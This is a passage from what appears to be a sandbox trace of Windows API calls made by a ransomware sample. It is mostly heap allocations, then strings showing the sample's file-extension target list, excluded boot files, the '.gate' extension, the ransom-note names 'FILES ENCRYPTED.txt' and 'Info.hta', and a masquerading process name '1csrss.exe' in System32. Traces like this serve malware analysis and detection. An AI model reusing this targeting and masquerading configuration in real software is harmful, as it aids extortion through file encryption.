Size=0x8) returned 0x71edb8 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727448 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727478 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727718 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7276b8 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727568 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727748 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7276e8 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727538 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727610 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x7277a8 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x7275e0 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7276d0 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727580 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x727658 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x727628 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727640 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x727760 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x727520 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7274d8 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727550 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727598 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71ed88 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727730 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7275f8 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727670 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71ed98 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7275b0 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x7276a0 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727700 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7275c8 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727508 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727688 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727778 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727790 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x7277c0 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x7274f0 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727880 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727958 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7277f0 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x7278e0 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727928 [0270.956] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727940 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727808 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727970 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7278c8 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7278f8 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727910 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71edc8 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x6) returned 0x71ee38 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727988 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727820 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7277d8 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727838 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727850 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x727868 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x727898 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7278b0 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749230 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749020 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x749140 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749038 [0270.957] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749188 [0270.957] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x724a00, Size=0x400) returned 0x724a00 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7490c8 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7491a0 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x7491b8 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749200 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749050 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749158 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x748fa8 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749218 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x748fd8 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x748f48 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71ee68 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749068 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x748ff0 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749008 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749170 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x748f60 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7490f8 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x7490e0 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x748f90 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749080 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749098 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7490b0 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7491d0 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749110 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x748f78 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749128 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71ee78 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7491e8 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x748fc0 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749308 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749398 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749368 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749350 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749440 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7493f8 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749380 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x749410 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749428 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x7492a8 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749278 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749320 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749338 [0270.958] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749458 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749518 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x749260 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749530 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7492d8 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7494d0 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7493c8 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7493b0 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749470 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749488 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7492f0 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7493e0 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7494a0 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7494b8 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7494e8 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749500 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749248 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749290 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7492c0 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7495d8 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x749668 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x12) returned 0x6f7260 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7496e0 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749680 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749578 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749698 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7496b0 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7495a8 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7496c8 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7496f8 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749608 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7495f0 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749590 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749620 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749548 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749560 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x7495c0 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749638 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749650 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749c78 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749b88 [0270.959] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749b10 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x749d20 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x749a98 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x749ba0 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x749bb8 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x749c30 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71eea8 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749c00 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71ee88 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749ac8 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749c18 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749ae0 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x749bd0 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x749b58 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749be8 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x749d38 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749ab0 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749b40 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x749c48 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749cd8 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x749c90 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x749c60 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749ca8 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x71eeb8 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749af8 [0270.960] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x749cc0 [0270.960] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x724a00, Size=0x800) returned 0x749f28 [0270.960] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0270.960] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x737f08 | out: hHeap=0x6e0000) returned 1 [0270.960] lstrlenW (lpString="") returned 0 [0270.960] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74ae50 | out: hHeap=0x6e0000) returned 1 [0270.960] lstrlenW (lpString=".gate") returned 5 [0270.960] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71ef08, Size=0x8) returned 0x71efb8 [0270.960] lstrlenW (lpString=".gate") returned 5 [0270.961] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74af10 | out: hHeap=0x6e0000) returned 1 [0270.961] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x74ae50, Size=0x20) returned 0x71e890 [0270.961] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e890, Size=0x40) returned 0x6f8710 [0270.961] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8710, Size=0x80) returned 0x726690 [0270.961] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71ef08, Size=0x8) returned 0x71f0f8 [0270.961] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71f0f8, Size=0x10) returned 0x74ae20 [0270.961] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x74ae20, Size=0x20) returned 0x71e5e8 [0270.961] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0270.961] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x726690 | out: hHeap=0x6e0000) returned 1 [0270.961] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x74ae68, Size=0x20) returned 0x71e818 [0270.961] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e818, Size=0x40) returned 0x6f8440 [0270.961] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0270.961] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0270.961] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f8440 | out: hHeap=0x6e0000) returned 1 [0270.961] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x74ae68, Size=0x20) returned 0x71e9a8 [0270.961] lstrlenW (lpString="Info.hta") returned 8 [0270.961] lstrlenW (lpString="Info.hta") returned 8 [0270.961] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e9a8 | out: hHeap=0x6e0000) returned 1 [0270.961] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x74af38, nSize=0x7fff | out: lpFilename="C:\\Windows\\System32\\1csrss.exe" (normalized: "c:\\windows\\system32\\1csrss.exe")) returned 0x1e [0270.961] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74af38 | out: hHeap=0x6e0000) returned 1 [0270.962] lstrlenW (lpString="1csrss.exe") returned 10 [0270.962] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e5e8, Size=0x40) returned 0x6f8440 [0270.962] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x74ae68, Size=0x20) returned 0x71e8e0 [0270.962] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x74aee0, Size=0x20) returned 0x71e5e8 [0270.962] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e5e8, Size=0x40) returned 0x6f8488 [0270.962] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8488, Size=0x80) returned 0x726828 [0270.962] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x726828, Size=0x100) returned 0x724a00 [0270.962] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0270.962] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724a00 | out: hHeap=0x6e0000) returned 1 [0270.962] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x74af38, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0270.962] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x75af40 | out: hHeap=0x6e0000) returned 1 [0270.963] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74af38 | out: hHeap=0x6e0000) returned 1 [0270.963] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71eff8, Size=0x8) returned 0x71f008 [0270.963] lstrlenW (lpString="%windir%;") returned 9 [0270.963] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e8e0 | out: hHeap=0x6e0000) returned 1 [0270.963] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0270.963] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x738f10 | out: hHeap=0x6e0000) returned 1 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x74ae98, Size=0x20) returned 0x71e7f0 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e7f0, Size=0x40) returned 0x6f8488 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8488, Size=0x80) returned 0x726e88 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x726e88, Size=0x100) returned 0x724a00 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71efe8, Size=0x8) returned 0x71f028 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71f028, Size=0x10) returned 0x74aee0 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x74aee0, Size=0x20) returned 0x71e598 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71f018, Size=0x8) returned 0x71ef98 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71f0a8, Size=0x8) returned 0x71eff8 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71f108, Size=0x8) returned 0x71f138 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71f138, Size=0x10) returned 0x74a7c0 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x74a7c0, Size=0x20) returned 0x71e6b0 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71ef98, Size=0x10) returned 0x74a8b0 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71eff8, Size=0x10) returned 0x74a880 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71f098, Size=0x8) returned 0x71f0a8 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71ef98, Size=0x8) returned 0x71f038 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x74a8b0, Size=0x20) returned 0x71e8e0 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x74a880, Size=0x20) returned 0x71ea20 [0270.964] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71efe8, Size=0x8) returned 0x71f068 [0270.964] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0270.964] HeapFree (in: 